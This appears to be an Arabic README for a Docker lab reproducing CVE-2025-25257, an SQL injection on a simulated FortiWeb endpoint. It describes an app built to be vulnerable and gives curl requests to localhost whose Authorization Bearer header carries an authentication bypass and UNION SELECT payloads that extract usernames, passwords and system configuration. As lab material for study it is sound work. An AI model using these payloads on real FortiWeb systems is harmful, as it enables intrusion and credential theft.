
مختبر Docker قابل لإعادة الإنتاج لـ CVE-2025-25257، يوضح تجاوز حقن SQL واستخراج البيانات عبر رأس تفويض HTTP على نقطة نهاية FortiWeb محاكاة.
بنية التجربة (تحاكي البيئة المكونات القابلة للاستغلال في FortiWeb)
نقطة النهاية القابلة للاستغلال: /api/system/fabric/config
ناقل الحقن: ترويسة HTTP: Authorization: Bearer
الآلية: تسلسل SQL مباشر (f-string بلغة Python)
المصادقة: لا شيء (تجاوز كامل)
قاعدة البيانات: SQLite (لأغراض العرض التوضيحي)
cve-2025-25257
├── Dockerfile
├── docker-compose.yml
├── requirements.txt
├── app.py
├── init_db.py
├── payload.txt
└── README.md
Dockerfile : خدمة http قابلة للاستغلال عمدًا / تعرّض واجهة برمجة تطبيقات قابلة للاستغلال بدون مصادقة
docker-compose.yml : ينسّق خدمة قابلة للاستغلال قابلة للتكرار / يعرّض واجهة API قابلة للهجوم عبر http / يعزل بيئة التجربة
requirements.txt : يضمن بيئة مستقرة وقابلة للتكرار
app.py : ينفّذ نقطة نهاية قبل المصادقة / يقبل مدخلات المستخدم عبر Authorization/ يسلسل هذا الإدخال في استعلام SQL / يتيح تجاوز المصادقة واستخراج البيانات
init_db.py : يهيّئ مجموعة بيانات قابلة للاستغلال / يتيح عرضًا توضيحيًا واضحًا لتجاوز المصادقة وتهريب البيانات
payload.txt يوفّر دليلًا أدنى ومضبوطًا وقابلًا للملاحظة على تنفيذ الأكواد
docker-compose build
docker-compose up -d
docker-compose ps
docker-compose logs -f
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer valid_token_001"
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer ' OR '1'='1"
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer ' UNION SELECT id, username, password, role, email, NULL FROM users--"
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer ' UNION SELECT id, key, value, description, '2025-01-01',NULL FROM system_config--"
docker-compose down
docker-compose down -v
docker rmi cve-2025-25257-lab-fortiweb-vulnerable:latest